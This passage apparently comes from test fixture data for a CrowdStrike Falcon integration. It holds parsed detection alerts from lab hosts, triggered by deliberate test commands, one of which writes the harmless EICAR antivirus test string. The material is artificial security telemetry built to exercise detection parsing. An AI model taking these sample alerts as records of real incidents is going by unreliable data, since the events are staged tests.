crowdstrike_test_medium\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43448891811-10305-1929744\",\"DataDomains\":\"Endpoint\",\"Description\":\"A medium level detection was triggered on this process for testing purposes.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43448891811-10305-1929744?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"cmd.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"GrandParentCommandLine\":\"cmd crowdstrike_test_critical\",\"GrandParentImageFileName\":\"cmd.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"HostGroups\":\"6b15afc3ea3a42ed810b5c163e490a9d\",\"Hostname\":\"dave-win10-3\",\"LocalIP\":\"10.0.0.13\",\"LocalIPv6\":\"\",\"LogonDomain\":\"dave-win10-3\",\"MACAddress\":\"ba-d0-00-ba-d0-00\",\"MD5String\":\"645b4fecb42fb954858850fe127ceb98\",\"Name\":\"Suspicious Activity\",\"Objective\":\"Falcon Detection Method\",\"ParentCommandLine\":\"cmd crowdstrike_test_high\",\"ParentImageFileName\":\"cmd.exe\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"ParentProcessId\":43447659975,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":10305,\"PlatformId\":\"0\",\"PlatformName\":\"Windows\",\"ProcessEndTime\":0,\"ProcessId\":43448891811,\"ProcessStartTime\":1752575354,\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06\",\"Severity\":50,\"SeverityName\":\"Medium\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Falcon Overwatch\",\"Technique\":\"Malicious Activity\",\"Type\":\"ldt\",\"UserName\":\"win10_user3\"},\"metadata\":{\"customerIDString\":\"e880572ce33c42458b31e0dd368497fc\",\"eventCreationTime\":1752575404000,\"eventType\":\"EppDetectionSummaryEvent\",\"offset\":2021265,\"version\":\"1.0\"}}", - "reference": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43448891811-10305-1929744?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK", - "severity": 47, - "type": [ - "info" - ] - }, - "file": { - "hash": { - "md5": "645b4fecb42fb954858850fe127ceb98", - "sha1": "0000000000000000000000000000000000000000", - "sha256": "27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06" - }, - "name": "cmd.exe", - "path": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe" - }, - "host": { - "domain": "dave-win10-3", - "name": "dave-win10-3" - }, - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "process": { - "args": [ - "cmd", - "crowdstrike_test_medium" - ], - "command_line": "cmd crowdstrike_test_medium", - "entity_id": "43448891811", - "executable": "cmd", - "name": "cmd.exe", - "parent": { - "args": [ - "cmd", - "crowdstrike_test_high" - ], - "command_line": "cmd crowdstrike_test_high", - "entity_id": "43447659975", - "executable": "cmd", - "pid": 43447659975 - }, - "pid": 43448891811, - "start": "2025-07-15T10:29:14.000Z" - }, - "related": { - "hash": [ - "0000000000000000000000000000000000000000", - "27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06", - "645b4fecb42fb954858850fe127ceb98" - ], - "hosts": [ - "dave-win10-3" - ], - "ip": [ - "10.0.0.13" - ], - "user": [ - "win10_user3" - ] - }, - "rule": { - "name": "Suspicious Activity" - }, - "source": { - "ip": "10.0.0.13" - }, - "tags": [ - "preserve_original_event" - ], - "threat": { - "framework": "CrowdStrike Falcon Detections Framework", - "tactic": { - "name": [ - "Falcon Overwatch" - ] - }, - "technique": { - "name": [ - "Malicious Activity" - ] - } - }, - "user": { - "name": "win10_user3" - } - }, - { - "@timestamp": "2025-07-15T10:29:44.000Z", - "crowdstrike": { - "event": { - "AggregateId": "aggind:cff45d56127743a593792fb968dac907:42950506623", - "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43438097407-10197-1874448", - "DataDomains": "Endpoint", - "Description": "For evaluation only - benign, no action needed.", - "GrandparentCommandLine": "C:\\Windows\\Explorer.EXE", - "GrandparentImageFileName": "explorer.exe", - "GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\explorer.exe", - "HostGroups": [ - "6b15afc3ea3a42ed810b5c163e490a9d" - ], - "MACAddress": "ba-d0-00-ba-d0-00", - "Objective": "Falcon Detection Method", - "ParentImageFileName": "cmd.exe", - "ParentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", - "PatternDispositionFlags": { - "BlockingUnsupportedOrDisabled": false, - "BootupSafeguardEnabled": false, - "ContainmentFileSystem": false, - "CriticalProcessDisabled": false, - "Detect": false, - "FsOperationBlocked": false, - "HandleOperationDowngraded": false, - "InddetMask": false, - "Indicator": false, - "KillActionFailed": false, - "KillParent": false, - "KillProcess": false, - "KillSubProcess": false, - "OperationBlocked": false, - "PolicyDisabled": false, - "ProcessBlocked": false, - "QuarantineFile": false, - "QuarantineMachine": false, - "RegistryOperationBlocked": false, - "Rooting": false, - "SensorOnly": false, - "SuspendParent": false, - "SuspendProcess": false - }, - "PatternId": "10197", - "PlatformId": "0", - "PlatformName": "Windows", - "SensorId": "cff45d56127743a593792fb968dac907", - "Severity": 30, - "SeverityName": "Low", - "SourceProducts": "Falcon Insight", - "SourceVendors": "CrowdStrike", - "Type": "ldt" - }, - "metadata": { - "customerIDString": "e880572ce33c42458b31e0dd368497fc", - "eventType": "EppDetectionSummaryEvent", - "offset": 2021264, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": "Detection, standard detection.", - "category": [ - "malware" - ], - "created": "2025-07-15T10:29:44.000Z", - "kind": "alert", - "original": "{\"event\":{\"AgentId\":\"cff45d56127743a593792fb968dac907\",\"AggregateId\":\"aggind:cff45d56127743a593792fb968dac907:42950506623\",\"CommandLine\":\"choice /m crowdstrike_sample_detection\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43438097407-10197-1874448\",\"DataDomains\":\"Endpoint\",\"Description\":\"For evaluation only - benign, no action needed.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43438097407-10197-1874448?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"choice.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\choice.exe\",\"GrandParentCommandLine\":\"C:\\\\Windows\\\\Explorer.EXE\",\"GrandParentImageFileName\":\"explorer.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\explorer.exe\",\"HostGroups\":\"6b15afc3ea3a42ed810b5c163e490a9d\",\"Hostname\":\"dave-win10-3\",\"LocalIP\":\"10.0.0.13\",\"LocalIPv6\":\"\",\"LogonDomain\":\"dave-win10-3\",\"MACAddress\":\"ba-d0-00-ba-d0-00\",\"MD5String\":\"ce0219f7ab9077db1c089a48eaa82eb1\",\"Name\":\"Suspicious Activity\",\"Objective\":\"Falcon Detection Method\",\"ParentCommandLine\":\"\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\" \",\"ParentImageFileName\":\"cmd.exe\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"ParentProcessId\":43425257674,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":10197,\"PlatformId\":\"0\",\"PlatformName\":\"Windows\",\"ProcessEndTime\":0,\"ProcessId\":43438097407,\"ProcessStartTime\":1752575318,\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"a1eb4e497f40111f44a1dca4674ead06dce7ea37d6b8df5a84b5022bf4072930\",\"Severity\":30,\"SeverityName\":\"Low\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Malware\",\"Technique\":\"Malicious File\",\"Type\":\"ldt\",\"UserName\":\"win10_user3\"},\"metadata\":{\"customerIDString\":\"e880572ce33c42458b31e0dd368497fc\",\"eventCreationTime\":1752575384000,\"eventType\":\"EppDetectionSummaryEvent\",\"offset\":2021264,\"version\":\"1.0\"}}", - "reference": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43438097407-10197-1874448?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK", - "severity": 21, - "type": [ - "info" - ] - }, - "file": { - "hash": { - "md5": "ce0219f7ab9077db1c089a48eaa82eb1", - "sha1": "0000000000000000000000000000000000000000", - "sha256": "a1eb4e497f40111f44a1dca4674ead06dce7ea37d6b8df5a84b5022bf4072930" - }, - "name": "choice.exe", - "path": "\\Device\\HarddiskVolume4\\Windows\\System32\\choice.exe" - }, - "host": { - "domain": "dave-win10-3", - "name": "dave-win10-3" - }, - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "process": { - "args": [ - "choice", - "/m", - "crowdstrike_sample_detection" - ], - "command_line": "choice /m crowdstrike_sample_detection", - "entity_id": "43438097407", - "executable": "choice", - "name": "choice.exe", - "parent": { - "args": [ - "\"C:\\Windows\\system32\\cmd.exe\"" - ], - "command_line": "\"C:\\Windows\\system32\\cmd.exe\"", - "entity_id": "43425257674", - "executable": "\"C:\\Windows\\system32\\cmd.exe\"", - "pid": 43425257674 - }, - "pid": 43438097407, - "start": "2025-07-15T10:28:38.000Z" - }, - "related": { - "hash": [ - "0000000000000000000000000000000000000000", - "a1eb4e497f40111f44a1dca4674ead06dce7ea37d6b8df5a84b5022bf4072930", - "ce0219f7ab9077db1c089a48eaa82eb1" - ], - "hosts": [ - "dave-win10-3" - ], - "ip": [ - "10.0.0.13" - ], - "user": [ - "win10_user3" - ] - }, - "rule": { - "name": "Suspicious Activity" - }, - "source": { - "ip": "10.0.0.13" - }, - "tags": [ - "preserve_original_event" - ], - "threat": { - "framework": "CrowdStrike Falcon Detections Framework", - "tactic": { - "name": [ - "Malware" - ] - }, - "technique": { - "name": [ - "Malicious File" - ] - } - }, - "user": { - "name": "win10_user3" - } - }, - { - "@timestamp": "2025-07-03T09:09:29.000Z", - "crowdstrike": { - "event": { - "AggregateId": "aggind:1d58fa2265b540b79cd057e8fa798e4d:47245659364", - "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:1d58fa2265b540b79cd057e8fa798e4d:1751532935660926966-30195-323088", - "DataDomains": "Endpoint", - "Description": "A process has written a known EICAR test file. Review the files written by the triggered process.", - "GrandparentCommandLine": "falcon-sensor-bpf", - "GrandparentImageFileName": "falcon-sensor-bpf17804", - "GrandparentImageFilePath": "/opt/CrowdStrike/falcon-sensor-bpf17804", - "HostGroups": [ - "5b2e67ccb1de4ac0b1c49225c8fcb132" - ], - "MACAddress": "52-54-00-58-b6-5e", - "Objective": "Follow Through", - "ParentImageFileName": "bash", - "ParentImageFilePath": "/usr/bin/bash", - "PatternDispositionFlags": { - "BlockingUnsupportedOrDisabled": false, - "BootupSafeguardEnabled": false, - "ContainmentFileSystem": false, - "CriticalProcessDisabled": false, - "Detect": false, - "FsOperationBlocked": false, - "HandleOperationDowngraded": false, - "InddetMask": false, - "Indicator": false, - "KillActionFailed": false, - "KillParent": false, - "KillProcess": false, - "KillSubProcess": false, - "OperationBlocked": false, - "PolicyDisabled": false, - "ProcessBlocked": false, - "QuarantineFile": false, - "QuarantineMachine": false, - "RegistryOperationBlocked": false, - "Rooting": false, - "SensorOnly": false, - "SuspendParent": false, - "SuspendProcess": false - }, - "PatternId": "30195", - "PlatformId": "3", - "PlatformName": "Linux", - "SensorId": "1d58fa2265b540b79cd057e8fa798e4d", - "Severity": 10, - "SeverityName": "Informational", - "SourceProducts": "Falcon Insight", - "SourceVendors": "CrowdStrike", - "Type": "ldt" - }, - "metadata": { - "customerIDString": "e880572ce33c42458b31e0dd368497fc", - "eventType": "EppDetectionSummaryEvent", - "offset": 1962865, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": "Detection, standard detection.", - "category": [ - "malware" - ], - "created": "2025-07-03T09:09:29.000Z", - "kind": "alert", - "original": "{\"event\":{\"AgentId\":\"1d58fa2265b540b79cd057e8fa798e4d\",\"AggregateId\":\"aggind:1d58fa2265b540b79cd057e8fa798e4d:47245659364\",\"CommandLine\":\"/bin/bash -c printf \\\"X5O!P%%@AP[4\\\\\\\\PZX54(P^)7CC)7}\\\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\\\$H+H*\\\" > eicar.com /bin/bash\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:1d58fa2265b540b79cd057e8fa798e4d:1751532935660926966-30195-323088\",\"DataDomains\":\"Endpoint\",\"Description\":\"A process has written a known EICAR test file. Review the files written by the triggered process.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:1d58fa2265b540b79cd057e8fa798e4d:1751532935660926966-30195-323088?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"bash\",\"FilePath\":\"/usr/bin/bash\",\"GrandParentCommandLine\":\"falcon-sensor-bpf\",\"GrandParentImageFileName\":\"falcon-sensor-bpf17804\",\"GrandParentImageFilePath\":\"/opt/CrowdStrike/falcon-sensor-bpf17804\",\"HostGroups\":\"5b2e67ccb1de4ac0b1c49225c8fcb132\",\"Hostname\":\"cs-elastic\",\"LocalIP\":\"192.168.64.5\",\"LocalIPv6\":\"\",\"LogonDomain\":\"\",\"MACAddress\":\"52-54-00-58-b6-5e\",\"MD5String\":\"21cdb844225f8dc4ea6e9f80f9940a2b\",\"Name\":\"Attacker Methodology\",\"Objective\":\"Follow Through\",\"ParentCommandLine\":\"/bin/bash --noprofile --norc -c #!/bin/bash\\n# SYNOPSIS\\n# Run a bash script with specified command line and timeout\\n# DESCRIPTION\\n# CrowdStrike Real Time Response command\\n# PARAMETER WD\\n# Current working directory\\n# PARAMETER Param1\\n# Script body - Required\\n# PARAMETER Param2\\n# Command line sent to script\\n# PARAMETER Param3\\n# Local path - path to local file to be used as script body\\n# PARAMETER Param4\\n# Timeout in seconds\\n# NOTES\\n# File Name : runscript.sh\\n# Contact : support@crowdstrike.com\\n# Copyright : CrowdStrike 2020\\n# LINK\\n# https://www.crowdstrike.com/\\n\\nset -euo pipefail\\nshopt -s extglob\\n\\ncommand=runscript\\n\\nfunction die\\n{\\n echo \\\"$command: $1\\\" >&2\\n exit 1\\n}\\n\\nfunction err_handler()\\n{\\n # Rewrite the error message to remove the internal command prefix\\n echo \\\"$command:${1#*cat:}\\\" >&2\\n}\\ntrap 'err_handler \\\"$script\\\"' ERR\\n\\nfunction get_arg() {\\n eval set -- \\\"$1\\\"\\n echo \\\"$@\\\"\\n}\\n\\nscript=\\nif [ \\\"$#\\\" -ge 1 ]; then\\n script=\\\"$1\\\"\\n shift\\nfi\\n\\nscript_args=\\nif [ \\\"$#\\\" -ge 1 ]; then\\n script_args=\\\"$1\\\"\\n shift\\nfi\\n\\n# following Windows behavior where HostPath clobbers Raw\\nif [ \\\"$#\\\" -ge 1 ]; then\\n script_path=\\\"$(get_arg \\\"$1\\\")\\\"\\n if [ -n \\\"$script_path\\\" ]; then\\n script=\\\"$(/bin/cat \\\"$script_path\\\" 2>&1)\\\"\\n fi\\n shift\\nfi\\n\\ntimeout=60\\nif [ \\\"$#\\\" -ge 1 ]; then\\n if [ -n \\\"$1\\\" ]; then\\n timeout=\\\"$1\\\"\\n fi\\n shift\\nfi\\n\\nif [ -z \\\"$script\\\" ]; then\\n die \\\"Either -Raw or -HostPath must be specified\\\"\\nfi\\n\\nif [[ \\\"$timeout\\\" =~ .*[^0-9].* ]] || [ \\\"$timeout\\\" -eq 0 ]; then\\n die \\\"Timeout must be a positive integer\\\"\\nfi\\n\\neval set -- \\\"$script_args\\\"\\n/bin/bash -c \\\"$script\\\" /bin/bash \\\"$@\\\" &\\npid=$!\\n\\nfunction get_time()\\n{\\n sed -n '1s/\\\\([0-9]\\\\+\\\\)\\\\.\\\\([0-9][0-9]\\\\).*/\\\\1\\\\2/p' /proc/uptime\\n}\\n\\nstart_time=$(get_time)\\nlast_print_time=$start_time\\nwait_interval=0.1\\nprint_interval=5\\nresolution=100\\nwhile kill -0 $pid 2> /dev/null ; do\\n current_time=$(get_time)\\n if ((current_time - start_time >= timeout*resolution)); then\\n kill -9 $pid >/dev/null 2>&1\\n echo \\\"$command: Timed out waiting for script to exit\\\" >&2\\n kill -9 -$$ >/dev/null 2>&1\\n fi\\n if ((current_time - last_print_time >= print_interval*resolution)); then\\n printf %b '\\\\xe2\\\\x80\\\\x8b' # hex for unicode '\\\\u200b' for backward compatibility\\n last_print_time=$current_time\\n fi\\n /bin/sleep $wait_interval\\ndone\\n /bin/bash printf \\\"X5O!P%%@AP[4\\\\\\\\PZX54(P^)7CC)7}\\\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\\\$H+H*\\\" > eicar.com \",\"ParentImageFileName\":\"bash\",\"ParentImageFilePath\":\"/usr/bin/bash\",\"ParentProcessId\":1751532935654264600,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":30195,\"PlatformId\":\"3\",\"PlatformName\":\"Linux\",\"ProcessEndTime\":1751532935,\"ProcessId\":1751532935660927000,\"ProcessStartTime\":1751532935,\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"c43e9716c26e88801364e80e997f986760f5d82b5649f9e149b164396dd08c3d\",\"Severity\":10,\"SeverityName\":\"Informational\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Execution\",\"Technique\":\"User Execution\",\"Type\":\"ldt\",\"UserName\":\"root\"},\"metadata\":{\"customerIDString\":\"e880572ce33c42458b31e0dd368497fc\",\"eventCreationTime\":1751533769000,\"eventType\":\"EppDetectionSummaryEvent\",\"offset\":1962865,\"version\":\"1.0\"}}", - "reference": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:1d58fa2265b540b79cd057e8fa798e4d:1751532935660926966-30195-323088?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK", - "severity": 21, - "type": [ - "info" - ] - }, - "file": { - "hash": { - "md5": "21cdb844225f8dc4ea6e9f80f9940a2b", - "sha1": "0000000000000000000000000000000000000000", - "sha256": "c43e9716c26e88801364e80e997f986760f5d82b5649f9e149b164396dd08c3d" - }, - "name": "bash", - "path": "/usr/bin/bash" - }, - "host": { - "name": "cs-elastic" - }, - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "process": { - "args": [ - "/bin/bash", - "-c", - "printf", - "\"X5O!P%%@AP[4\\\\PZX54(P^)7CC)7}\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\$H+H*\"", - ">", - "eicar.com", - "/bin/bash" - ], - "command_line": "/bin/bash -c printf \"X5O!P%%@AP[4\\\\PZX54(P^)7CC)7}\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\$H+H*\" > eicar.com /bin/bash", - "end": "2025-07-03T08:55:35.000Z", - "entity_id": "1751532935660927000", - "executable": "/bin/bash", - "name": "bash", - "parent": { - "args": [ - "/bin/bash", - "--noprofile", - "--norc", - "-c", - "#!/bin/bash\n#", - "SYNOPSIS\n#", - "Run", - "a", - "bash", - "script", - "with", - "specified", - "command", - "line", - "and", - "timeout\n#", - "DESCRIPTION\n#", - "CrowdStrike", - "Real", - "Time", - "Response", - "command\n#", - "PARAMETER", - "WD\n#", - "Current", - "working", - "directory\n#", - "PARAMETER", - "Param1\n#", - "Script", - "body", - "-", - "Required\n#", - "PARAMETER", - "Param2\n#", - "Command", - "line", - "sent", - "to", - "script\n#", - "PARAMETER", - "Param3\n#", - "Local", - "path", - "-", - "path", - "to", - "local", - "file", - "to", - "be", - "used", - "as", - "script", - "body\n#", - "PARAMETER", - "Param4\n#", - "Timeout", - "in", - "seconds\n#", - "NOTES\n#", - "File", - "Name", - ":", - "runscript.sh\n#", - "Contact", - ":", - "support@crowdstrike.com\n#", - "Copyright", - ":", - "CrowdStrike", - "2020\n#", - "LINK\n#", - "https://www.crowdstrike.com/\n\nset", - "-euo", - "pipefail\nshopt", - "-s", - "extglob\n\ncommand=runscript\n\nfunction", - "die\n{\n", - "echo", - "\"$command:", - "$1\"", - ">&2\n", - "exit", - "1\n}\n\nfunction", - "err_handler()\n{\n", - "#", - "Rewrite", - "the", - "error", - "message", - "to", - "remove", - "the", - "internal", - "command", - "prefix\n", - "echo", - "\"$command:${1#*cat:}\"", - ">&2\n}\ntrap", - "'err_handler", - "\"$script\"'", - "ERR\n\nfunction", - "get_arg()", - "{\n", - "eval", - "set", - "--", - "\"$1\"\n", - "echo", - "\"$@\"\n}\n\nscript=\nif", - "[", - "\"$#\"", - "-ge", - "1", - "];", - "then\n", - "script=\"$1\"\n", - "shift\nfi\n\nscript_args=\nif", - "[", - "\"$#\"", - "-ge", - "1", - "];", - "then\n", - "script_args=\"$1\"\n", - "shift\nfi\n\n#", - "following", - "Windows", - "behavior", - "where", - "HostPath", - "clobbers", - "Raw\nif", - "[", - "\"$#\"", - "-ge", - "1", - "];", - "then\n", - "script_path=\"$(get_arg", - "\"$1\")\"\n", - "if", - "[", - "-n", - "\"$script_path\"", - "];", - "then\n", - "script=\"$(/bin/cat", - "\"$script_path\"", - "2>&1)\"\n", - "fi\n", - "shift\nfi\n\ntimeout=60\nif", - "[", - "\"$#\"", - "-ge", - "1", - "];", - "then\n", - "if", - "[", - "-n", - "\"$1\"", - "];", - "then\n", - "timeout=\"$1\"\n", - "fi\n", - "shift\nfi\n\nif", - "[", - "-z", - "\"$script\"", - "];", - "then\n", - "die", - "\"Either", - "-Raw", - "or", - "-HostPath", - "must", - "be", - "specified\"\nfi\n\nif", - "[[", - "\"$timeout\"", - "=~", - ".*[^0-9].*", - "]]", - "||", - "[", - "\"$timeout\"", - "-eq", - "0", - "];", - "then\n", - "die", - "\"Timeout", - "must", - "be", - "a", - "positive", - "integer\"\nfi\n\neval", - "set", - "--", - "\"$script_args\"\n/bin/bash", - "-c", - "\"$script\"", - "/bin/bash", - "\"$@\"", - "&\npid=$!\n\nfunction", - "get_time()\n{\n", - "sed", - "-n", - "'1s/\\([0-9]\\+\\)\\.\\([0-9][0-9]\\).*/\\1\\2/p'", - "/proc/uptime\n}\n\nstart_time=$(get_time)\nlast_print_time=$start_time\nwait_interval=0.1\nprint_interval=5\nresolution=100\nwhile", - "kill", - "-0", - "$pid", - "2>", - "/dev/null", - ";", - "do\n", - "current_time=$(get_time)\n", - "if", - "((current_time", - "-", - "start_time", - ">=", - "timeout*resolution));", - "then\n", - "kill", - "-9", - "$pid", - ">/dev/null", - "2>&1\n", - "echo", - "\"$command:", - "Timed", - "out", - "waiting", - "for", - "script", - "to", - "exit\"", - ">&2\n", - "kill", - "-9", - "-$$", - ">/dev/null", - "2>&1\n", - "fi\n", - "if", - "((current_time", - "-", - "last_print_time", - ">=", - "print_interval*resolution));", - "then\n", - "printf", - "%b", - "'\\xe2\\x80\\x8b'", - "#", - "hex", - "for", - "unicode", - "'\\u200b'", - "for", - "backward", - "compatibility\n", - "last_print_time=$current_time\n", - "fi\n", - "/bin/sleep", - "$wait_interval\ndone\n", - "/bin/bash", - "printf", - "\"X5O!P%%@AP[4\\\\PZX54(P^)7CC)7}\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\$H+H*\"", - ">", - "eicar.com" - ], - "command_line": "/bin/bash --noprofile --norc -c #!/bin/bash\n# SYNOPSIS\n# Run a bash script with specified command line and timeout\n# DESCRIPTION\n# CrowdStrike Real Time Response command\n# PARAMETER WD\n# Current working directory\n# PARAMETER Param1\n# Script body - Required\n# PARAMETER Param2\n# Command line sent to script\n# PARAMETER Param3\n# Local path - path to local file to be used as script body\n# PARAMETER Param4\n# Timeout in seconds\n# NOTES\n# File Name : runscript.sh\n# Contact : support@crowdstrike.com\n# Copyright : CrowdStrike 2020\n# LINK\n# https://www.crowdstrike.com/\n\nset -euo pipefail\nshopt -s extglob\n\ncommand=runscript\n\nfunction die\n{\n echo \"$command: $1\" >&2\n exit 1\n}\n\nfunction err_handler()\n{\n # Rewrite the error message to remove the internal command prefix\n echo \"$command:${1#*cat:}\" >&2\n}\ntrap 'err_handler \"$script\"' ERR\n\nfunction get_arg() {\n eval set -- \"$1\"\n echo \"$@\"\n}\n\nscript=\nif [ \"$#\" -ge 1 ]; then\n script=\"$1\"\n shift\nfi\n\nscript_args=\nif [ \"$#\" -ge 1 ]; then\n script_args=\"$1\"\n shift\nfi\n\n# following Windows behavior where HostPath clobbers Raw\nif [ \"$#\" -ge 1 ]; then\n script_path=\"$(get_arg \"$1\")\"\n if [ -n \"$script_path\" ]; then\n script=\"$(/bin/cat \"$script_path\" 2>&1)\"\n fi\n shift\nfi\n\ntimeout=60\nif [ \"$#\" -ge 1 ]; then\n if [ -n \"$1\" ]; then\n timeout=\"$1\"\n fi\n shift\nfi\n\nif [ -z \"$script\" ]; then\n die \"Either -Raw or -HostPath must be specified\"\nfi\n\nif [[ \"$timeout\" =~ .*[^0-9].* ]] || [ \"$timeout\" -eq 0 ]; then\n die \"Timeout must be a positive integer\"\nfi\n\neval set -- \"$script_args\"\n/bin/bash -c \"$script\" /bin/bash \"$@\" &\npid=$!\n\nfunction get_time()\n{\n sed -n '1s/\\([0-9]\\+\\)\\.\\([0-9][0-9]\\).*/\\1\\2/p' /proc/uptime\n}\n\nstart_time=$(get_time)\nlast_print_time=$start_time\nwait_interval=0.1\nprint_interval=5\nresolution=100\nwhile kill -0 $pid 2> /dev/null ; do\n current_time=$(get_time)\n if ((current_time - start_time >= timeout*resolution)); then\n kill -9 $pid >/dev/null 2>&1\n echo \"$command: Timed out waiting for script to exit\" >&2\n kill -9 -$$ >/dev/null 2>&1\n fi\n if ((current_time - last_print_time >= print_interval*resolution)); then\n printf %b '\\xe2\\x80\\x8b' # hex for unicode '\\u200b' for backward compatibility\n last_print_time=$current_time\n fi\n /bin/sleep $wait_interval\ndone\n /bin/bash printf \"X5O!P%%@AP[4\\\\PZX54(P^)7CC)7}\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\$H+H*\" > eicar.com", - "entity_id": "1751532935654264600", - "executable": "/bin/bash", - "pid": 1751532935654264600 - }, - "pid": 1751532935660927000, - "start": "2025-07-03T08:55:35.000Z" - }, - "related": { - "hash": [ - "0000000000000000000000000000000000000000", - "c43e9716c26e88801364e80e997f986760f5d82b5649f9e149b164396dd08c3d", - "21cdb844225f8dc4ea6e9f80f9940a2b" - ], - "hosts": [ - "cs-elastic" - ], - "ip": [ - 